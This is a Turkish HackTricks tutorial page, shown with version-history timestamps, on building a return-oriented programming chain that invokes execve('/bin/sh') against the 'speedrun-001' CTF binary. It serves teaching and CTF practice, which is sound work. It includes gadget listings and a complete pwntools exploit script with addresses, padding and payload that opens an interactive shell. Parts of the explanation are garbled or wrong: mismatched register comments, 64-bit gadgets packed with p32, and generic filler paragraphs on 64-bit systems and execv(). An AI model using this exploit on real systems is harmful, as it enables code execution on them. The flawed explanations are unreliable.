hacktricks/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md

224 lines
10 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# ROP - sys\_execve çağrısı
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-02 12:19:57 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
**Syscall** için çağrıyı hazırlamak için aşağıdaki yapılandırmaya ihtiyaç vardır:
2024-02-10 18:14:16 +00:00
* `rax: 59 sys_execve'yi belirtir`
* `rdi: "/bin/sh" dosyasını belirtir`
* `rsi: 0 argüman geçirilmediğini belirtir`
* `rdx: 0 çevre değişkeni geçirilmediğini belirtir`
2024-02-10 18:14:16 +00:00
Yani, temel olarak `/bin/sh` dizesini bir yere yazmak ve ardından `syscall` işlemini gerçekleştirmek gerekmektedir (yığını kontrol etmek için gereken dolgu hakkında bilinçli olunmalıdır).
2024-02-10 18:14:16 +00:00
## Registerları kontrol etmek
2024-02-10 18:14:16 +00:00
Başlayalım ve **bu registerları nasıl kontrol edeceğimizi** bulalım:
```c
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
2024-02-10 18:14:16 +00:00
Bu adreslerle, içeriği yığında yazmak ve kaydetmek mümkündür.
2024-02-10 18:14:16 +00:00
## Dize yazma
2024-02-10 18:14:16 +00:00
### Yazılabilir bellek
2024-02-10 18:14:16 +00:00
Öncelikle, bellekte yazılabilir bir yer bulmanız gerekmektedir.
2020-11-28 20:05:01 +00:00
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
2024-02-10 18:14:16 +00:00
### Dize Yaz
2024-02-10 18:14:16 +00:00
Ardından, bu adrese isteğe bağlı içerik yazmak için bir yol bulmanız gerekmektedir.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
2024-02-10 18:14:16 +00:00
#### 32 bitlik sistemler
32 bitlik sistemlerde, ROP (Return Oriented Programming) kullanarak `execve` sistem çağrısını gerçekleştirebiliriz. Bu, hedef sistemde yeni bir işlem başlatmamızı sağlar.
2024-02-10 18:14:16 +00:00
`execve` sistem çağrısı, bir programı çalıştırmak için kullanılır. İşletim sistemi, belirtilen programı hedef sistemde çalıştırır. Bu sistem çağrısı, `execve(const char *filename, char *const argv[], char *const envp[])` şeklinde tanımlanır.
2024-02-10 18:14:16 +00:00
ROP kullanarak `execve` sistem çağrısını gerçekleştirmek için aşağıdaki adımları izleyebiliriz:
1. İşletim sistemi tarafından sağlanan `execve` sistem çağrısının adresini bulun.
2. `execve` sistem çağrısını gerçekleştirecek olan argümanları hazırlayın.
3. ROP zinciri oluşturun ve `execve` sistem çağrısını tetikleyin.
Bu yöntem, hedef sistemde yeni bir işlem başlatmak için kullanılabilir. Ancak, hedef sistemdeki güvenlik önlemleri ve sistem yapılandırması bu yöntemin etkinliğini etkileyebilir.
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
2024-02-10 18:14:16 +00:00
#### 64 bit
64 bit işletim sistemleri, 64 bitlik bellek adresleme yeteneğine sahip olan işletim sistemleridir. Bu sistemler, daha büyük bellek alanlarına erişim sağlayabilir ve daha karmaşık hesaplama işlemlerini gerçekleştirebilir. 64 bitlik işletim sistemlerinde, bellek adresleri 64 bitlik sayılarla temsil edilir.
#### ROP (Return-Oriented Programming)
ROP (Return-Oriented Programming), hedef bir programda bulunan mevcut kod parçalarını kullanarak istenilen işlemleri gerçekleştirmek için kullanılan bir saldırı tekniğidir. Bu teknik, hedef programın belleğindeki mevcut kod parçalarını birleştirerek yeni bir işlem dizisi oluşturur. Bu işlem dizisi, hedef programın çalışma akışını değiştirerek istenilen işlemleri gerçekleştirir.
2024-02-10 18:14:16 +00:00
#### Syscall
2024-02-10 18:14:16 +00:00
Syscall (System Call), bir işletim sistemi hizmetine erişmek için kullanılan bir arayüzdür. Bir program, işletim sistemi hizmetlerine erişmek için syscall komutunu kullanır. Syscall komutu, işletim sistemiyle iletişim kurarak belirli bir hizmeti gerçekleştirir. Örneğin, dosya okuma veya yazma gibi işlemler için syscall komutu kullanılır.
#### execv()
execv() fonksiyonu, bir programın başka bir programı çalıştırmasını sağlayan bir C dilindeki işlevdir. Bu fonksiyon, bir programın belleğindeki mevcut kod parçalarını kullanarak başka bir programı çalıştırır. execv() fonksiyonu, hedef programın çalıştırılabilir dosyasının yolunu ve argümanlarını alır ve hedef programı çalıştırır.
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
2024-02-10 18:14:16 +00:00
## Örnek
Let's consider a simple example to understand how to use ROP to execute a `execve` syscall in Linux.
Linux systems use the `execve` syscall to execute a new program. This syscall takes three arguments: the path to the program, an array of command-line arguments, and an array of environment variables.
To execute a `execve` syscall using ROP, we need to find the addresses of the necessary gadgets and the addresses of the strings we want to pass as arguments.
2024-02-10 18:14:16 +00:00
First, we need to find a gadget that will load the address of the `execve` syscall into a register. We can use the `pop rax; ret` gadget to load the syscall number into the `rax` register.
2024-02-10 18:14:16 +00:00
Next, we need to find gadgets that will load the arguments for the `execve` syscall into the appropriate registers. We can use gadgets like `pop rdi; ret` to load the path to the program into the `rdi` register, `pop rsi; ret` to load the address of the command-line arguments array into the `rsi` register, and `pop rdx; ret` to load the address of the environment variables array into the `rdx` register.
Finally, we need to find a gadget that will trigger the `execve` syscall. We can use the `syscall; ret` gadget to trigger the syscall.
Once we have the addresses of these gadgets and the addresses of the strings we want to pass as arguments, we can construct our ROP chain. The ROP chain will consist of the addresses of the gadgets followed by the addresses of the strings.
When the ROP chain is executed, it will load the necessary values into the appropriate registers and trigger the `execve` syscall, executing the specified program with the specified arguments and environment variables.
This is just a basic example of how to use ROP to execute a `execve` syscall in Linux. ROP can be used for much more complex tasks, such as bypassing security mechanisms or escalating privileges.
```python
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
2024-02-10 18:14:16 +00:00
target.interactive()
```
2024-02-10 18:14:16 +00:00
## Referanslar
2021-11-30 16:46:07 +00:00
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-02 12:19:57 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>